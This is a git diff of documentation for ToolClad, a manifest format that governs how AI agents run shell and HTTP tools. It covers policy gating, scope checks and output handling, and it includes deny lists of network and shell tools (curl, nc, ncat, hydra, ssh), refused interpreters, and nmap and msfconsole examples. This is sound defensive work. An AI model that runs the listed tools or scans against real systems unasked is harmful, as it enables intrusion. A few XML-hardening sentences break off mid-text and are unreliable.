ToolClad manifest. The manifest applies stricter validation and policy gating on top of the upstream tool's permissive schema. ### Why Proxy MCP Tools? @@ -271,11 +283,11 @@ Unmapped fields pass through with the same name. This decouples the ToolClad con ### MCP Proxy Execution Flow 1. ToolClad validates all arguments against the manifest's type system (stricter than upstream) -2. Cedar evaluates policy (e.g., "this agent can only create issues in `ThirdKeyAI/*` repos") -3. Executor maps validated arguments to the upstream tool's expected names via `field_map` -4. Executor forwards the call to the MCP server referenced by `server` -5. Response is parsed and validated against `[output.schema]` -6. Wrapped in evidence envelope with audit trail +2. The policy gate runs (`human_approval` / `risk_tier` deny-by-default); Cedar evaluation, e.g. "this agent can only create issues in `ThirdKeyAI/*` repos", is external to the reference runtimes +3. Executor maps validated arguments to the upstream tool's expected names via `field_map` and -- in the reference runtimes -- returns a `delegation_preview` envelope here +4. *(hosting runtime)* Forwards the call to the MCP server referenced by `server` +5. *(hosting runtime)* Response is parsed and validated against `[output.schema]` +6. *(hosting runtime)* Wrapped in evidence envelope with audit trail ### Proxy for Database MCP @@ -333,16 +345,18 @@ The upstream `postgres-mcp` tool accepts any query string. The ToolClad manifest ## Shared Guarantees -Both HTTP and MCP proxy backends share all ToolClad guarantees with the shell backend: +What the reference runtimes enforce for each backend: | Guarantee | Shell | HTTP | MCP Proxy | |-----------|-------|------|-----------| | Argument validation | Yes | Yes | Yes | -| Cedar policy evaluation | Yes | Yes | Yes | -| Output schema validation | Yes | Yes | Yes | -| Evidence envelope | Yes | Yes | Yes | -| Timeout enforcement | Yes | Yes | Yes | -| Audit trail | Yes | Yes | Yes | -| Scope enforcement | Yes | Yes | Yes | - -The backend is an implementation detail. The governance layer is the same. +| Policy gate (`human_approval`, `risk_tier`) | Yes | Yes | Yes | +| Cedar policy evaluation | External | External | External | +| Scope enforcement (`scope_check`) | Yes | Yes | Yes | +| Egress lint (`block_internal` required) | When `network_egress` / egress binary | Always | No | +| Output schema validation (fail-closed) | Yes | Yes | Not applicable (no upstream response) | +| Output cap (`max_bytes`) | Yes | Yes | Not applicable | +| Timeout enforcement | Yes | Yes | Not applicable | +| Evidence envelope | Yes | Yes | `delegation_preview` only | + +The backend is an implementation detail of dispatch; argument validation and the policy gate are the same for all three. diff --git a/docs/index.md b/docs/index.md index 56d16da..e845a1c 100644 --- a/docs/index.md +++ b/docs/index.md @@ -4,7 +4,7 @@ ToolClad is the tool execution layer of the [ThirdKey](https://thirdkey.ai) trust stack: [SchemaPin](https://schemapin.org) (tool integrity) / [AgentPin](https://agentpin.org) (agent identity) / **ToolClad** (tool contracts) / [Symbiont](https://symbiont.dev) (runtime). -**Version**: 0.5.3 | **Status**: Release Candidate | **License**: MIT (spec), Apache 2.0 (Symbiont integration) +**Version**: 0.6.2 | **Status**: Release Candidate | **License**: MIT (spec), Apache 2.0 (Symbiont integration) --- @@ -15,32 +15,35 @@ ToolClad is a manifest format (`.clad.toml`) that replaces wrapper scripts, MCP A ToolClad manifest answers four questions: 1. **What can this tool accept?** Typed parameters with validation constraints (enums, ranges, regex, scope checks, injection sanitization). -2. **How do you invoke it?** A command template, HTTP request, MCP server call, PTY session, or browser engine action. The LLM never generates raw invocation details. +2. **How do you invoke it?** An `exec` argv array or an HTTP request (executed by the reference runtimes), or an MCP server call, PTY session, or browser engine action (parsed and validated here, executed by a hosting runtime). The LLM never generates raw invocation details. 3. **What does it produce?** Output format, parsing rules, and a mandatory output schema that normalizes raw output into structured JSON. -4. **What is the interaction model?** Three execution modes with five backends share a common governance layer. +4. **What is the interaction model?** Two executing backends plus three parsed-only contracts share a common governance layer. ## Key Features -- **14 built-in type validators** -- all with shell injection sanitization, plus custom types via `toolclad.toml` -- **Five execution backends** -- Shell command, HTTP API, MCP proxy, PTY session, CDP browser -- **Command construction** -- `exec` array (preferred) or `template` string with mappings, conditionals, defaults; no `sh -c` +- **15 built-in type validators** -- all with shell injection sanitization, NUL/control-character/quote/whitespace/leading-dash rejection and a host/IP policy (`block_internal`), plus custom types via `toolclad.toml` +- **Two executing backends** -- Shell command (`[command]`) and HTTP API (`[http]`). MCP proxy, PTY session and CDP browser manifests are parsed and validated but are not executable by the reference runtimes +- **Command construction** -- `exec` array (canonical) with mappings, conditionals, defaults, brace escapes and `end_of_options`; the deprecated `template` string is compiled to `exec` at load; no `sh -c` +- **Strict loading** -- unknown manifest keys are refused at load +- **Policy gate** -- deny-by-default for `human_approval = true` and `risk_tier` `high`/`critical`; Cedar evaluation is external - **MCP schema generation** -- Auto-generate `inputSchema` + `outputSchema` from manifest declarations - **Evidence envelopes** -- Structured JSON with scan_id, timestamps, exit_code, output_hash (SHA-256) - **Cedar policy integration** -- Manifests declare Cedar resource/action for policy evaluation - **SchemaPin signing** -- `.clad.toml` files are signed directly as first-class artifacts -- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text, custom scripts -- **Session mode** -- Per-interaction ORGA gating on interactive CLIs (psql, msfconsole, redis-cli) -- **Browser mode** -- Governed headless or live browser sessions via CDP with URL scope enforcement +- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text; fail-closed schema validation; custom parser scripts are refused at load +- **Session mode** -- Per-interaction ORGA gating contract for interactive CLIs (psql, msfconsole, redis-cli); parsed and validated by the reference runtimes, executed by a hosting runtime +- **Browser mode** -- Governed headless or live browser session contract via CDP with URL scope enforcement; parsed and validated by the reference runtimes, executed by a hosting runtime -## Three Execution Modes +## Execution Modes -| Mode | Backend | Use Case | -|------|---------|----------| -| **Oneshot** | Shell (`[command]`), HTTP (`[http]`), MCP proxy (`[mcp]`) | Single command/request, get result | -| **Session** | PTY (pseudo-terminal) | Interactive CLIs: psql, msfconsole, redis-cli, gdb | -| **Browser** | CDP (Chrome DevTools Protocol) | Headless or live browser automation | +| Mode | Backend | Reference runtimes | Use Case | +|------|---------|--------------------|----------| +| **Oneshot** | Shell (`[command]`), HTTP (`[http]`) | Executed | Single command/request, get result | +| **Oneshot** | MCP proxy (`[mcp]`) | Parsed and validated; `execute` returns a `delegation_preview` envelope, no upstream call | Govern a third-party MCP tool | +| **Session** | PTY (pseudo-terminal) | Parsed and validated only; `execute` is refused | Interactive CLIs: psql, msfconsole, redis-cli, gdb | +| **Browser** | CDP (Chrome DevTools Protocol) | Parsed and validated only; `execute` is refused | Headless or live browser automation | -All three modes share a common governance layer: typed parameters, argument validation, Cedar policy evaluation, scope enforcement, output schema validation, evidence capture, and audit trail. +All modes share a common governance layer: typed parameters, argument validation, policy gating, scope enforcement, output schema validation, evidence capture, and audit trail. Session and browser execution is provided by a hosting runtime such as Symbiont, not by the reference CLIs or libraries in this repository. ## Quick Example @@ -65,7 +68,7 @@ type = "scope_target" description = "Domain name or IP address to query" [command] -template = "whois {target}" +exec = ["whois", "{target}"] [output] format = "text" @@ -79,7 +82,7 @@ type = "string" description = "Raw WHOIS registration data" ``` -The agent fills typed parameters. The executor validates, constructs the command, executes with timeout, and returns structured JSON. The agent never sees or generates a shell command. +The agent fills typed parameters. The executor validates, constructs the argv, executes with timeout, and returns structured JSON. The agent never generates a shell command; the evidence envelope reports the declared command with placeholders intact, so executor-injected paths and expanded secrets never reach the agent (the human-facing `toolclad test` dry run shows the resolved argv). ## Why ToolClad? @@ -112,10 +115,15 @@ All four implementations parse the same `.clad.toml` format, validate arguments |-------|-------------| | [Getting Started](getting-started.md) | Install, create, validate, and run your first manifest | | [Manifest Format](manifest-format.md) | Complete `.clad.toml` reference for every section | -| [Type System](type-system.md) | All 14 built-in types with validation rules and examples | +| [Type System](type-system.md) | All 15 built-in types with validation rules and examples | | [Command Construction](command-construction.md) | Templates, mappings, conditionals, array-based execution | | [HTTP and MCP Backends](http-mcp-backends.md) | HTTP API tools and governed MCP proxy passthrough | -| [Session Mode](session-mode.md) | PTY sessions with per-interaction governance | +| [Session Mode](session-mode.md) | PTY session contract with per-interaction governance (parsed, not executed, by the reference runtimes) | +| [Browser Mode](browser-mode.md) | CDP browser session contract (parsed, not executed, by the reference runtimes) | +| [Security Model](security-model.md) | Value hygiene, spawn hardening, policy gate, scope enforcement, output caps | +| [Output & Evidence](output-evidence.md) | Parsers, fail-closed schema validation, evidence envelopes | +| [CLI Reference](cli-reference.md) | `validate`, `run`, `test`, `schema` and their flags | +| [API Reference](api-reference.md) | Library entry points in Rust, Python, JavaScript, and Go | | [SchemaPin v1.4 Features](schemapin-v1.4-features.md) | Sign with TTL, schema-version + previous-hash lineage, and `_schemapin.{domain}` DNS TXT cross-verification | ## Links diff --git a/docs/manifest-format.md b/docs/manifest-format.md index b9787c5..c6ca2d8 100644 --- a/docs/manifest-format.md +++ b/docs/manifest-format.md @@ -12,22 +12,28 @@ name = "nmap_scan" # Required. Unique tool identifier. version = "1.0.0" # Required. Semver, tracks CLI tool version. binary = "nmap" # Binary name or path. Required for oneshot shell. description = "Network port scanning and service detection" # Required. -mode = "oneshot" # "oneshot" (default) | "session" | "browser" -timeout_seconds = 600 # Execution timeout. Default: 60. -risk_tier = "low" # "low" | "medium" | "high". Informs Cedar policies. -human_approval = false # Require human approval before execution. Default: false. +mode = "oneshot" # "oneshot" | "session" | "browser". Advisory; derived when absent. +timeout_seconds = 600 # Execution timeout. Default: 60. Must be > 0. +risk_tier = "low" # "low" | "medium" | "high" | "critical". high/critical are gated. +human_approval = false # Gated by the default policy gate when true. Default: false. +network_egress = true # Tool reaches the network: network-target args must set block_internal. +allow_interpreter = false # Permit sh/bash/python3/node/... as argv[0]. Default: false. +dispatch = "exec" # "exec" (default) | "callback" (validator-only embedding) ``` | Field | Type | Required | Default | Description | |-------|------|----------|---------|-------------| | `name` | string | yes | -- | Unique tool identifier, used for MCP registration | | `version` | string | yes | -- | Semver version of the underlying CLI tool | -| `binary` | string | yes (oneshot shell) | -- | Binary name or path to the executable | +| `binary` | string | yes (oneshot shell) | -- | Binary name or path. When set with an `exec`/`template` command, its basename must equal the basename of `argv[0]` or the manifest is refused | | `description` | string | yes | -- | Human-readable description (included in MCP schema) | -| `mode` | string | no | `"oneshot"` | Execution mode: `"oneshot"`, `"session"`, or `"browser"` | -| `timeout_seconds` | integer | no | `60` | Maximum execution time before process kill | -| `risk_tier` | string | no | `"low"` | Risk level for Cedar policy decisions | -| `human_approval` | boolean | no | `false` | Require human approval before any execution | +| `mode` | string | no | derived | `"oneshot"`, `"session"`, or `"browser"`. Advisory only; derived from which backend section is present when absent | +| `timeout_seconds` | integer | no | `60` | Maximum execution time before the `SIGTERM`/`SIGKILL` process-group kill. `0` is refused at load (`timeout_seconds must be greater than zero`) | +| `risk_tier` | string | no | `"low"` | `"low"`, `"medium"`, `"high"`, or `"critical"`. `high` and `critical` are denied by the default policy gate (`risk_tier '' requires explicit approval`) unless `--approve` or an approving gate is supplied | +| `human_approval` | boolean | no | `false` | When `true`, the default policy gate denies execution (`manifest requires human approval (human_approval = true)`); `--approve` or an approving gate is required | +| `network_egress` | boolean | no | `false` | Declares that the tool reaches the network. When `true`, every argument of type `scope_target`, `url`, `ip_address`, `cidr`, or a custom type based on one of those must set `block_internal = true`, or the manifest is refused at load. The same lint applies automatically when `tool.binary`, `exec[0]`, or the template's first token is a known egress binary (`curl`, `wget`, `nmap`, `nc`, `ncat`, `netcat`, `masscan`, `telnet`, `ssh`, `ping`, `fping`, `httpie`, `http`, `wfuzz`, `ffuf`, `hydra`, `nikto`) and to every `[http]` and `[browser]` manifest | +| `allow_interpreter` | boolean | no | `false` | Permits `argv[0]`'s basename to be `sh`, `bash`, `zsh`, `dash`, `ksh`, `csh`, `tcsh`, `fish`, `ash`, `busybox`, `env`, `eval`, `xargs`, `python`, `python2`, `python3`, `perl`, `ruby`, `node`, `deno`, `bun`, `lua`, `php`, or `awk`. Refused at load otherwise | +| `dispatch` | string | no | `"exec"` | `"exec"` runs a backend; `"callback"` is a validator-only embedding with no backend or `[output]` required | ## `[tool.cedar]` -- Cedar Policy Metadata @@ -48,7 +54,20 @@ capture = true # Capture raw output to file. Def hash = "sha256" # Hash algorithm for output_hash. Default: "sha256". ``` -When `capture = true`, the executor writes the raw tool output to `output_dir` and includes the SHA-256 hash in the evidence envelope for tamper detection. +When `capture = true`, the executor writes the raw tool output to `output_dir` and includes the SHA-256 hash in the evidence envelope for tamper detection. `screenshots` is accepted for browser manifests. + +## `[tool.limits]` -- Child Resource Limits + +```toml +[tool.limits] +nproc = 4096 # RLIMIT_NPROC. Default: unset (not applied). +nofile = 1024 # RLIMIT_NOFILE. Default: 1024. +fsize_bytes = 1073741824 # RLIMIT_FSIZE. Default: 1 GiB. +address_space_bytes = 2147483648 # RLIMIT_AS. Only applied when declared. +cpu_seconds = 600 # RLIMIT_CPU. Only applied when declared. +``` + +The **Rust and Python** runtimes apply these as rlimits on the child via a pre-exec hook (together with `RLIMIT_CORE = 0` and a 0077 umask). **Go and JavaScript cannot set child rlimits portably and skip this section**; the keys are still parsed and validated there, but deployments on those runtimes must enforce limits externally (cgroups, container limits, or `ulimit` in the hosting process). ## `[tool.schemapin]` -- SchemaPin Verification @@ -92,7 +111,9 @@ Each parameter is a TOML table under `[args]`: [args.target] position = 1 # Positional index in the command template required = true # Is this parameter mandatory? -type = "scope_target" # One of 14 built-in types or a custom type +type = "scope_target" # One of 15 built-in types or a custom type +block_internal = true # Refuse loopback/private/metadata targets; resolve hostnames fail-closed +scope_check = true # Allowlist against scope/scope.toml (fail-closed when no file is found) description = "Target CIDR, IP, or hostname" [args.scan_type] @@ -118,11 +139,21 @@ sanitize = ["injection"] # Explicit injection sanitization [args.target_url] type = "url" -schemes = ["http", "https"] # Allowed URL schemes +schemes = ["http", "https"] # Allowed URL schemes (default); dangerous schemes are always refused +block_internal = true # Required when the tool fetches the URL scope_check = true # Extract host for scope validation +[args.headers] +type = "string" +allow_whitespace = true # Permit spaces; honored only when [command] declares exec = [...] +default = "" + +[args.offset] +type = "integer" +allow_leading_dash = true # Permit a negative value (otherwise a leading - or + is refused) + [args.wordlist] -type = "path" # No traversal (../), no absolute paths +type = "path" # No `..` component, no absolute paths required = false ``` @@ -134,15 +165,22 @@ required = false | `required` | boolean | Mandatory parameter. Default: `false` | | `type` | string | Built-in type name or custom type. See [Type System](type-system.md) | | `description` | string | Human-readable description (included in MCP schema) | -| `default` | any | Default value when parameter is not provided | +| `default` | any scalar | Default value when parameter is not provided | | `allowed` | array | Valid values for `enum` type | -| `pattern` | string | Regex constraint for `string` and `regex_match` types | +| `pattern` | string | Regex constraint for `string` and `regex_match` types. Anchored: compiled as `^(?:pattern)$` | | `sanitize` | array | Sanitization rules: `["injection"]` | -| `min` | number | Minimum for `integer` type | -| `max` | number | Maximum for `integer` type | -| `clamp` | boolean | Clamp to range instead of rejecting. Default: `false` | -| `schemes` | array | Allowed URL schemes for `url` type | -| `scope_check` | boolean | Enable scope validation for `url` type | +| `min` | integer | Minimum for `integer` type | +| `max` | integer | Maximum for `integer` type | +| `min_float` | number | Minimum for `number` type | +| `max_float` | number | Maximum for `number` type | +| `clamp` | boolean | Clamp to range instead of rejecting (`integer`, `number`). Default: `false` | +| `schemes` | array | Allowed URL schemes for `url` type. Default: `["http", "https"]`. `javascript`, `data`, `file`, `blob`, `about`, `gopher`, `dict`, `ftp`, `ldap`, `jar`, `netdoc`, `mailto`, `ws`, `wss` are refused even if listed | +| `scope_check` | boolean | Check the value (host for `url`) against `scope/scope.toml`; applies to `scope_target`, `url`, `ip_address`, `cidr`. Fail-closed. Default: `false` | +| `block_internal` | boolean | Block loopback, private, CGNAT, documentation, and reserved ranges and resolve hostnames fail-closed; applies to `scope_target`, `url`, `ip_address`, `cidr`. Link-local and internal names are blocked regardless. Mandatory on egress tools. Default: `false` | +| `allow_whitespace` | boolean | Permit whitespace in a string-derived value. Honored only when `[command]` declares `exec` directly; never for `url`. Default: `false` | +| `allow_leading_dash` | boolean | Permit a value (or numeric result) that starts with `-` or `+`. Default: `false` | + +Any other key under `[args.]` is refused at load. ### Mappings in Args @@ -152,16 +190,27 @@ When an `enum` arg has a corresponding entry in `[command.mappings]`, the enum v ```toml [command] -template = "nmap {_scan_flags} --max-rate {max_rate} -oX {_output_file} {extra_flags} {target}" +exec = ["nmap", "{_scan_type_flags}", "--max-rate", "{max_rate}", "-oX", "{_output_file}", "{target}"] +end_of_options = "--" # Optional. Only "--" is accepted. ``` -Use `template` for most tools. Use `executor` when invocation logic exceeds what templates can express. +`exec` is the canonical form: one argv element per entry, placeholders as whole unquoted tokens, `{{`/`}}` for literal braces, values never re-split. Use `executor` when invocation logic exceeds what `exec` can express. ```toml [command] -executor = "scripts/tool-wrappers/msf-wrapper.sh" # Escape hatch (replaces template) +executor = "scripts/tool-wrappers/msf-wrapper.sh" # Escape hatch (replaces exec) ``` +| Field | Type | Description | +|-------|------|-------------| +| `exec` | array | Canonical argv array | +| `template` | string | **Deprecated.** Tokenized into `exec` at load with a warning; a placeholder inside quotes or unbalanced quotes rejects the manifest. Will be removed in the next minor release | +| `executor` | string | Escape-hatch script; receives `TOOLCLAD_ARG_*` and friends in an otherwise cleared environment | +| `end_of_options` | string | Only `"--"`. Inserts a literal `--` before the first user-argument token | +| `defaults` | table | Open map of default values for placeholders | +| `mappings` | table | Open map of `[command.mappings.]` tables | +| `conditionals` | table | `[command.conditionals.]` entries with `when` and `template` | + See [Command Construction](command-construction.md) for details on mappings, conditionals, defaults, and the escape hatch. ### `[command.defaults]` @@ -180,7 +229,7 @@ service = "-sT -sV --version-intensity 5" syn = "-sS --top-ports 1000" ``` -Maps enum values to CLI flag strings. The mapped result is available as `{_scan_type_flags}` (or `{_scan_flags}` by convention) in the template. +Maps enum values to CLI flag strings. The mapped result is available as `{_scan_type_flags}` -- the variable is always `__flags`; no other alias is recognized. The mapped string is tokenized (it is manifest-controlled) and spliced into the argv where the placeholder appears. ### `[command.conditionals]` @@ -191,7 +240,7 @@ username_file = { when = "username_file != ''", template = "-L {username_file}" single_user = { when = "username != '' and username_file == ''", template = "-l {username}" } ``` -Include template fragments only when conditions are met. See [Command Construction](command-construction.md) for the full `when` expression syntax. +Include template fragments only when conditions are met. Each conditional is exposed as `{_}` (`{_service_port}` above) and its `template` is tokenized at load with the same rules as `[command].template`. See [Command Construction](command-construction.md) for the full `when` expression syntax. ## `[http]` -- HTTP Request Backend @@ -214,7 +263,7 @@ error_status = [400, 401, 403, 404, 429] | `success_status` | array | HTTP status codes that indicate success | | `error_status` | array | HTTP status codes that indicate error | -See [HTTP and MCP Backends](http-mcp-backends.md) for details. +`{_secret:name}` references are expanded on these templates before any argument is interpolated; URL values are percent-encoded, body values are JSON-escaped, redirects are not followed, and the envelope's `command` holds the unexpanded `url`. `[http]` manifests are treated as `network_egress = true`, so every network-target argument must set `block_internal = true`. See [HTTP and MCP Backends](http-mcp-backends.md) for details. ## `[mcp]` -- MCP Proxy Backend @@ -236,15 +285,26 @@ labels = "label_names" Unmapped fields pass through with the same name. See [HTTP and MCP Backends](http-mcp-backends.md) for details. +> **Parsed, not executed.** The reference runtimes validate `[mcp]` manifests and return a `delegation_preview` envelope (field-mapped arguments, no upstream call). Forwarding to the MCP server is the job of a hosting runtime. + ## `[output]` -- Output Handling ```toml [output] format = "xml" # "text" | "json" | "xml" | "csv" | "jsonl" -parser = "builtin:xml" # Built-in or custom parser script path +parser = "builtin:xml" # builtin:* only; anything else is refused at load envelope = true # Wrap in evidence envelope. Default: true. +max_bytes = 8388608 # Cap on stdout and stderr (each). Default: 8 MiB. ``` +| Field | Type | Description | +|-------|------|-------------| +| `format` | string | Output format hint | +| `parser` | string | One of the `builtin:*` names below. A script path is refused at load (`custom output parsers are not supported by the reference runtimes`) | +| `envelope` | boolean | Wrap results in an evidence envelope. Default: `true` | +| `schema` | table | Mandatory output schema (see below) | +| `max_bytes` | integer | Cap on captured stdout and stderr, each. Overflow stops capture and sets `output_truncated: true`. Default: `8388608` | + ### Built-in Parsers | Parser | Produces | Use Case | @@ -255,14 +315,9 @@ envelope = true # Wrap in evidence envelope. Default: | `builtin:jsonl` | Array of objects | Nuclei, streaming tools | | `builtin:text` | `{ "raw_output": "..." }` | Unstructured text (default) | -### Custom Parsers - -```toml -[output] -parser = "scripts/parse-outputs/parse-nmap-xml.py" -``` +### Custom Parsers (Not Supported) -Custom parsers receive the raw output file path as `argv[1]` and emit JSON to stdout. The parser's output is validated against the declared `[output.schema]` before it reaches the agent. +A `parser` value that is not one of the `builtin:*` names above -- for example `parser = "scripts/parse-outputs/parse-nmap-xml.py"` -- is **refused at load** by the reference runtimes. There is no mechanism for an external script to run in the output pipeline. `builtin:xml` additionally refuses input containing `: "}`, and preserves the raw output under `results.raw_output` ## `[session]` -- CLI Session Mode +> **Parsed, not executed.** The reference runtimes load and validate `[session]` manifests (and serve `validate`/`schema` for them) but refuse `execute` with `session mode is parsed but not yet executable in the reference implementation`. Execution is provided by a hosting runtime. + ```toml [session] startup_command = "msfconsole -q -x 'color false'" @@ -337,6 +394,8 @@ See [Session Mode](session-mode.md) for the full reference. ## `[browser]` -- Browser Mode +> **Parsed, not executed.** The reference runtimes load and validate `[browser]` manifests but refuse `execute` with `browser mode is parsed but not yet executable in the reference implementation`. They do enforce the egress lint at load: `[browser]` manifests count as `network_egress = true`, so every network-target command argument must set `block_internal = true`. + ```toml [browser] engine = "cdp-direct" @@ -358,7 +417,7 @@ allow_external = false [browser.commands.navigate] description = "Navigate a tab to a URL" risk_tier = "medium" -args.url = { type = "url", schemes = ["https"], scope_check = true } +args.url = { type = "url", schemes = ["https"], block_internal = true, scope_check = true } [browser.commands.click] description = "Click an element by CSS selector" @@ -372,14 +431,67 @@ human_approval = true args.selector = { type = "string" } ``` -## `[tool.scope]` -- Scope Targets +## Scope Enforcement + +There is no `[tool.scope]` section; a manifest containing one is refused as an unknown key. Scope enforcement is declared per argument: any parameter of type `scope_target`, `url`, `ip_address`, or `cidr` that sets `scope_check = true` is validated against the project scope file during argument validation, before the command is built. Without `scope_check = true` no allowlisting happens -- `scope_target` by itself is only a shape check. + +```toml +# scope/scope.toml +[scope] +allowed_cidrs = ["10.0.1.0/24"] +allowed_domains = ["example.com", "*.example.com"] +blocked_cidrs = [] +blocked_domains = [] +``` + +The file is found via `TOOLCLAD_SCOPE_FILE`, or by searching for `scope/scope.toml` upward from the manifest's directory. Unknown keys in the scope file are refused. If `scope_check = true` and no file is reachable, the value is **rejected** (fail-closed). Blocked rules win over allowed rules; `*.example.com` matches strict subdomains at any depth but not the apex or `evil-example.com`; an IP must be contained in an allowed CIDR and a CIDR value must be fully contained. See [Security Model: Scope Enforcement](security-model.md#scope-enforcement). + +## Unknown Keys -Any parameter with type `scope_target`, `url` (with `scope_check = true`), `cidr`, or `ip_address` is automatically validated against the project scope definition (`scope/scope.toml`). The scope check runs after Cedar authorization but before command execution. +Every parser refuses keys it does not know, at load, with `unknown key '
.' in manifest`. `toolclad validate --allow-unknown-keys` downgrades this to a printed warning; library loading is always strict. The complete allowlist: + +``` +[tool] name version binary description timeout_seconds risk_tier + human_approval dispatch mode network_egress allow_interpreter + cedar evidence limits +[tool.cedar] resource action +[tool.evidence] output_dir capture hash screenshots +[tool.limits] nproc nofile fsize_bytes address_space_bytes cpu_seconds +[args.] position required type description default allowed pattern + sanitize min max min_float max_float clamp schemes + scope_check block_internal allow_leading_dash allow_whitespace +[command] template exec executor defaults mappings conditionals + end_of_options +[command.conditionals.] when template +[output] format parser envelope schema max_bytes +[http] method url headers body_template success_status error_status +[mcp] server tool field_map +[session] startup_command ready_pattern startup_timeout_seconds + idle_timeout_seconds session_timeout_seconds max_interactions + interaction commands child_detection +[session.interaction] input_sanitize output_max_bytes output_wait_ms +[session.commands.] pattern description risk_tier human_approval + extract_target args +[session.child_detection] pattern type manifest +[browser] engine headless connect extract_mode startup_timeout_seconds + session_timeout_seconds idle_timeout_seconds max_interactions + scope commands state defaults +[browser.defaults] extract_mode +[browser.scope] allowed_domains blocked_domains allow_external +[browser.commands.] description risk_tier human_approval args +[browser.state] fields +``` + +`[args.*].default` accepts any scalar. `[command.defaults]` and `[command.mappings]` are open maps whose keys are user-chosen names. `[output.schema]` is JSON Schema and is not key-checked. ## Complete Annotated Example ```toml # tools/nmap_scan.clad.toml -- Full manifest with all sections +# +# There is deliberately no free-form flag parameter. An argument whose value is +# interpolated as nmap options is an option-injection channel; every supported +# invocation is an entry in [command.mappings.scan_type] instead. [tool] name = "nmap_scan" @@ -388,6 +500,7 @@ binary = "nmap" description = "Network port scanning and service detection" timeout_seconds = 600 risk_tier = "low" +network_egress = true [tool.cedar] resource = "PenTest::ScanTarget" @@ -404,6 +517,10 @@ hash = "sha256" position = 1 required = true type = "scope_target" +# nmap connects to this target: default-deny internal/SSRF ranges. Under +# block_internal a hostname must resolve to a public address, and a CIDR must +# not overlap a blocked range. +block_internal = true description = "Target CIDR, IP, or hostname" [args.scan_type] @@ -413,18 +530,22 @@ type = "enum" allowed = ["ping", "service", "version", "syn", "os_detect", "aggressive", "vuln_script"] description = "Type of scan to perform" -[args.extra_flags] -position = 3 -required = false -type = "string" -sanitize = ["injection"] -default = "" -description = "Additional nmap flags" - # --- Command Construction --- +# +# Array form: every element is one argv entry, dispatched straight to execve. +# {_scan_type_flags} is the only multi-token placeholder; its value comes from +# the mapping table below, which is manifest-controlled, not agent-supplied. [command] -template = "nmap {_scan_flags} --max-rate {max_rate} -oX {_output_file} --no-stylesheet -v {extra_flags} {target}" +exec = [ + "nmap", + "{_scan_type_flags}", + "--max-rate", "{max_rate}", + "-oX", "{_output_file}", + "--no-stylesheet", + "-v", + "{target}", +] [command.defaults] max_rate = 1000 @@ -444,6 +565,7 @@ vuln_script = "-sV --script=vuln --script-timeout 60s" format = "xml" parser = "builtin:xml" envelope = true +max_bytes = 8388608 [output.schema] type = "object" diff --git a/docs/output-evidence.md b/docs/output-evidence.md index ff3cde7..b9d901b 100644 --- a/docs/output-evidence.md +++ b/docs/output-evidence.md @@ -34,25 +34,32 @@ envelope = true When no parser is specified, `builtin:text` is the default. -### Custom Parsers +### Custom Parsers (Not Supported) -For tools whose output requires domain-specific parsing, declare an external script: +The reference runtimes accept only the five `builtin:*` names. A `parser` value naming an external script, such as: ```toml +# REFUSED AT LOAD by the reference runtimes [output] -format = "xml" parser = "scripts/parse-outputs/parse-nmap-xml.py" -envelope = true ``` -Custom parsers: +is rejected when the manifest is loaded with `custom output parsers are not supported by the reference runtimes`. Earlier releases silently ignored such a value and fell back to the built-in parser; that is no longer the case. There is no code path through which an external script runs in the output pipeline. Tools whose output needs domain-specific post-processing should emit JSON, JSONL, CSV, or XML and let the built-in parser normalize it, with `[output.schema]` describing the result. + +### Output Size Cap + +`[output] max_bytes` (default `8388608`, 8 MiB) caps captured stdout and stderr **separately**. When either stream exceeds the cap, capture stops, the envelope carries `"output_truncated": true`, and the status is unaffected. The hash and evidence file reflect the captured bytes. + +```toml +[output] +format = "text" +envelope = true +max_bytes = 8388608 +``` -- Receive the raw output file path as `argv[1]` -- Must emit valid JSON to stdout -- Run with the same timeout and process group isolation as the tool itself -- Their output is validated against `[output.schema]` before reaching the agent +### XML Hardening -The parser's output replaces what would otherwise be the built-in parser's result in the `results` field of the evidence envelope. +Before `builtin:xml` parses anything, input containing `: "}`, and +- the raw output is preserved under `results.raw_output` so nothing is lost for forensics. + +```json +{ + "status": "schema_error", + "scan_id": "1711929600-12347", + "tool": "nmap_scan", + "exit_code": 0, + "results": { + "schema_error": "hosts[0].ports[1].port: expected integer, got string", + "raw_output": "..." + } +} +``` ### Declaration @@ -143,10 +187,11 @@ When `envelope = true` (the default), the executor wraps parsed output in a stan | Field | Type | Description | |-------|------|-------------| -| `status` | string | `"success"`, `"error"`, `"timeout"`, or `"delegated"` (MCP proxy) | -| `scan_id` | string | Unique invocation identifier (`unix_timestamp-short_uuid`) | +| `status` | string | `"success"`, `"error"`, `"timeout"`, `"schema_error"`, `"client_error"` / `"server_error"` / `"redirect_blocked"` (HTTP), or `"delegation_preview"` (MCP proxy) | +| `scan_id` | string | Unique invocation identifier with 128 bits of entropy | | `tool` | string | Tool name from the manifest (`[tool].name`) | -| `command` | string | The constructed command that was executed | +| `command` | string | The argv that was executed, joined for display. For HTTP tools this is the **unexpanded** `" "`, so secrets never appear | +| `output_truncated` | boolean | `true` when stdout or stderr hit `[output] max_bytes` and capture stopped | | `duration_ms` | integer | Wall-clock execution time in milliseconds | | `timestamp` | string | ISO 8601 execution timestamp (UTC) | | `exit_code` | integer | Process exit code (`0` = success, `-1` = timeout/error) | @@ -166,14 +211,7 @@ HTTP tool envelopes include additional fields: ### MCP Proxy Envelopes -MCP proxy tools produce delegation envelopes: - -| Field | Type | Description | -|-------|------|-------------| -| `status` | string | Always `"delegated"` | -| `mcp_server` | string | Upstream MCP server name | -| `mcp_tool` | string | Upstream MCP tool name | -| `mcp_args` | object | Arguments mapped through `field_map` | +The reference runtimes do not contact an MCP server. An `[mcp]` manifest produces a preview envelope with `status: "delegation_preview"` that carries the upstream server name, the upstream tool name, and the arguments after `field_map` translation; `duration_ms` is `0` and there is no output hash. A hosting runtime that performs the upstream call replaces this with a real envelope. --- @@ -253,4 +291,4 @@ The agent receives structured error information: - `stderr` tells the agent *why* it failed, in the tool's own words - The agent can reason about the error and adjust its next action -Timeout envelopes set `status = "timeout"` and `exit_code = -1`. +Timeout envelopes set `status = "timeout"` and `exit_code = -1`; any stdout and stderr captured before the `SIGTERM`/`SIGKILL` sequence are preserved, with `output_truncated` set if the `max_bytes` cap was reached first. Schema violations produce `status = "schema_error"` with the raw output preserved (see [Validation Semantics](#validation-semantics)). A policy-gate denial does not produce an envelope at all: `execute` fails with an error starting `policy gate denied: ` before anything is spawned. diff --git a/docs/security-model.md b/docs/security-model.md index a73fc5f..7516a1b 100644 --- 